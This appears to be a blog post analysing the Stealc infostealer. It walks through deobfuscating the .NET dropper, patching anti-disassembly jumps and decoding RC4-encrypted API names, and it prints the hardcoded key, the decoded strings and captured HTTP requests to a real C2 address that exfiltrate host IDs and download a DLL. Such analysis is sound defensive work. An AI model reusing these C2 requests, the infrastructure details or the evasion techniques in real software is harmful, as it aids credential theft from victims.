top of page

Analysis: Stealc


Sample Hash SHA256: f6aa6b44abb4c789ed2c7a5b1ab831dc9a1560dc71b44aaf3d1c8b3e650a685e SHA1: 3a8f8f03562b7caded48adeb884cab12c0ea8f5a1aaaf561cac26b2291eaee29fced47ffa262c9820780ec47731d2da8 MD5: a194cdef7fe9b191e053589d295e3994
 

Overview


With the rise in popularity of commodity malware, there has been an increase in the number of threat actors getting into Malware as a Service (MaaS) offerings. One prevalent type of offering are stealers, which are designed to extract credentials from various sources such as web browsers, crypto wallets, keyloggers, email clients, etc.


Stealers have gained significant traction among cybercriminals due to their ease of deployment and effectiveness in harvesting valuable credentials. The stolen credentials can then be sold on underground markets or used for further illicit activities, posing serious threats to individuals and organizations alike.


The fast growth of the Malware as a Service market has led to an increase in less technically skilled individuals engaging in malicious activities. This shift has led to an exponential increase in the number of threat actors.


Stealc is recent addition to the Info Stealer roster. Being a copy of current strains (Vidar, Redline, Racoon), this new malware advertises itself as being a user-friendly and customizable for plugin configurations. The seller boasts it's obfuscation and ability to exfil data as soon as it is grabbed. It was first identified by Sekoia back in January, at the time the post by the user Plymouth was posted.



Analysis

.NET Dropper


The first phase involves a .NET dropper, which has been packed with Reactor, a popular obfuscation tool created by Eziriz. This portion isn't too involved, seeing that the .NET was obfuscated. I used de4dot to deobfuscate the binary to allow me to have better visibility of what the methods were doing.


The following images showcases the difference between the obfuscated and deobfuscated binary sample after using de4dot.



Opening the deobfuscated binary in dnSpy, we are then able to view the entry point "Class8.Main". Inside this Class there is then a method labeled "smethod_0" that contains the decrypter function that is called by the object "method_1", this object contains strings that are passed for decryption.

			byte[] array = Class8.smethod_0(Class7.smethod_0(), "QYF8qC0beljiW8F4N6rZrphlTypaAuwKwgMW8qIwgQpQ0DWtUeYN6K8HB3zgEpq8anquGVapcFEwqqbanuoodLefegFUaEyYUyxX");
			byte[] array2 = Class8.smethod_0(Class7.smethod_1(), "V1zvkNnGLWN23kCQznR2rNVkyAfChYIfb5xl56FFyITFfukPaeJ6eDQy4hbj7RKaKMITk9JUrfl0cqebNGFbS2TSsyEWxtNOM5Km");

Saving time, I just set a breakpoint at the first initialization within the object, ran the binary until the arrays were populated. The decrypted strings turned out to be two separate PE files. The first "array" contains our Stealc binary and the second "array2" contained "RunPE.dll".



Using dnSpy, I dumped the raw bytes from the arrays into their own file for further analysis.


PE File


At first glance, the file didn't seem to be packed, but when I threw it into Ghidra, it showed an attempt by the author to make analysis harder.


Jump Instructions Anti-Disassembly


One of the more common techniques found is the usage of conditional jump instructions pointed at the same target. Having "jz" followed by "jnz" will always make the disassembler continue disassembly into the false branch, even if it will never be executed. Typically, our program of choice, Ghidra in my case, will know if the conditional statements are calling weird locations, but seeing this instruction layout will more than likely be a safe bet of anti-analysis being used.


Using Ghidra's "Clean and Repair Flow" on the following "mov" instruction and then using "NOP" to patch the address, we can remediate the anti-disassembly used by the author.







We would have to do this a few times with this particular sample because it seems they went crazy with it.


Dynamic API Resolution


In order to hide malicious functionalities, malware authors commonly employ Dynamic API Resolution. This technique helps evade the use of static analysis to find string artifacts within the binary. There can also be functions used within the Import Address Table (IAT).


Stealc attempts to use this technique to hide imported calls, but fails to do so in a meaningful way. By having a hardcoded RC4 Key value and the b64 strings stored inside of ".rdata", we are then able to decrypt and decode the strings using Cyberchef to create a recipe for resolving the API calls.


The following function contains the API calls after using Cyberchef. From this, we can gather a better understanding of what the sample is trying to do.


Cyberchef Recipe:
RC4({'option':'UTF8','string':'4451106541286376721130510'},'Base64','Base64')
From_Base64('A-Za-z0-9+/=',true,false)
 

void Decoded_b64__00401c50(void)
{
  RC4_KEY__DAT_00614284 = "4451106541286376721130510"; 
  DAT_00614508 = FUN_004038b5(&DAT_00410ca8);
  DAT_00614270 = FUN_004038b5(&DAT_00410cb0);
  DAT_006144ac = FUN_004038b5(&DAT_00410cb8);
  DAT_006144a8 = FUN_004038b5(&DAT_00410cc0);
  DAT_00614340 = FUN_004038b5("qkqym6KJiYjutnWE18g=");         # GetProcAddress
  DAT_00614160 = FUN_004038b5("oUCnr5yPiLvroH6g");             # LoadLibraryA
  DAT_006144f4 = FUN_004038b5("gVyyubOHnog=");                 # lstrcatA
  DAT_00614560 = FUN_004038b5("ol+jpZWQj6f+kw==");             # OpenEventA
  DAT_006141c0 = FUN_004038b5("rl2jqqSDr7/vvHOg");             # CreateEventA
  DAT_006141ac = FUN_004038b5("rkOpuLWui6fuvmI=");             # CloseHandle
  DAT_0061424c = FUN_004038b5("vkOjrqA=");                     # Sleep
  DAT_00614410 = FUN_004038b5("qkqynqODmI3vtGaUyM9wEl1ld6I="); # GetUserDefaultLangID
  DAT_00614290 = FUN_004038b5("u0a0v6WHhojmvmiC4cNyBl5j");     # VirtualAllocExNuma
  DAT_006144dc = FUN_004038b5("u0a0v6WHho/4t2I=");             # VirtualFree
  DAT_00614480 = FUN_004038b5("qkqymKmVnqznm2mHyw==");         # GetSystemInfo
  DAT_0061430c = FUN_004038b5("u0a0v6WHhojmvmiC");             # VirtualAlloc
  DAT_00614240 = FUN_004038b5("pUqnu5GKhqbp");                 # HeapAlloc
  DAT_00614528 = FUN_004038b5("qkqyiL+Lmrz+t3WvxdZZMg==");     # GetComputerNameA
  DAT_00614018 = FUN_004038b5("gVyyubOWk4g=");                 # lstrcpyA
  DAT_006144d4 = FUN_004038b5("qkqym6KJiaz5oU+Excs=");         # GetProcessHeap
  DAT_00614180 = FUN_004038b5("qkqyiKWUmKzkpleTy9hZc0A=");     # GetCurrentProcess
  DAT_00614368 = FUN_004038b5("gVyyubyDhIg=");                 # lstrlenA
  DAT_00614550 = FUN_004038b5("qFevv4CUharvoXQ=");             # ExitProcess
  DAT_00614024 = FUN_004038b5("qkOpqbGKp6znvXWY989dB0Zxe54="); # GlobalMemoryStatusEx
  DAT_00614088 = FUN_004038b5("qkqymKmVnqznhm6MwQ==");         # GetSystemTime 
  DAT_0061420c = FUN_004038b5("vla1v7WLvqDnt1OO4tJQFmdrU4M="); # SystemTimeToFileTime
  DAT_00614488 = FUN_004038b5("jEuwqqCP2fuktmuN");             # advapi32.dll
  DAT_006140d8 = FUN_004038b5("ikuv+OLIjqXm");                 # gdi32.dll
  DAT_00614060 = FUN_004038b5("mFyjuePUxK3mvg==");             # user32.dll
  DAT_00614138 = FUN_004038b5("jl2/u6TV2Ofuvms=");             # crypt32.dll
  DAT_0061427c = FUN_004038b5("g1uip7zIjqXm");                 # ntdll.dll
  DAT_006143f0 = FUN_004038b5("qkqynqODmIfrv2Kg");             # GetUserNameA
  DAT_00614374 = FUN_004038b5("rl2jqqSDrorL");                 # CreateDCA
  DAT_00614128 = FUN_004038b5("qkqyj7WQg6rvkWaR1w==");         # GetDeviceCaps
  DAT_006142e8 = FUN_004038b5("v0qqrrGVj43J");                 # ReleaseDC
  DAT_00614084 = FUN_004038b5("rl2/u6S1nrvjvGC1y/lVHVJwR6c="); # CryptStringToBinaryA
  DAT_00614364 = FUN_004038b5("nlylqr6A");                     # sscanf
  _DAT_006140ac = FUN_004038b5("u2KxqqKDvIT9s3WE");            # VMwareVmware
  DAT_00614478 = FUN_004038b5("pW6K8oSu");                     # HAL9TH
  DAT_00614538 = FUN_004038b5("p0CupZSJjw==");                 # JohnDoe
  DAT_00614038 = FUN_004038b5("qWaVm5ynsw==");                 # DISPLAY
  DAT_00614350 = FUN_004038b5("yEez5PWOn+avunI=");             # %hu/%hu/%hu
 return;
}

PCAP Analysis


IP: 172.86.70.117

The C2 communication is done over HTTP using POST requests to complete exfiltration of credentials harvested. Depending on the configuration, different files will be sent to the server.


The handshake between the client and server is done during the initial stage of communication. The client sends a hardware ID of the infected machine through "hwid" to the server, while also grabbing the agent's build name through "build".

POST /94ed4bf54583a4fa.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCB
Host: 172.86.70.117
Content-Length: 212
Connection: Keep-Alive
Cache-Control: no-cache
------GDHDHJEBGHJKFIECBGCB
Content-Disposition: form-data; name="hwid"
4044A69105EA20379026

------GDHDHJEBGHJKFIECBGCB
Content-Disposition: form-data; name="build"
default
------GDHDHJEBGHJKFIECBGCB--

The C2 server returns a b64 string containing the agents token

d7a14f9bbf2ffeda6effd7c12f08f7ed514c3d2c7e7dc30e3db0f6e1c7fe6bec013487f9|done|garage.docx|1|0|1|1|0|1|1|1|

It returns a configuration in a b64 string after the agent sends a POST request with "browser" or "plugins" in the "message" tag.


After receiving these, the agent then sets up a "file_name", in this case "system_info.txt", for it to be populated with system info from the infected machine.


Then it downloads a legit version of sqlite.

GET /58edf5f2a726adf8/sqlite3.dll HTTP/1.1
Host: 172.86.70.117
Cache-Control: no-cache

Then it continues to exfiltrate different files found on the system. Seems to be a very bare minimum configuration, this one just pulled secrets from Firefox, Outlook, and tried to find any filetype used by common crypto wallets. It finishes off with a screenshot of the infected machine.


Other versions of Stealc have had an other payload dropped, but this sample seemed to not have that enabled.


Conclusion


Stealc is a perfect example of trivial techniques being used by new malware authors. Seeing the lack of progress not only shows that while the market for commodity malware is growing, it seems that novel techniques will remain novel. Stealc may just be another stealer that will be phased out by newer ones, once detection ramps up on it. Seeing that it was created by borrowing from others, I don't see any slowdown on info stealers being sold in crime markets.


Recent Posts

See All

Comments


Commenting has been turned off.
bottom of page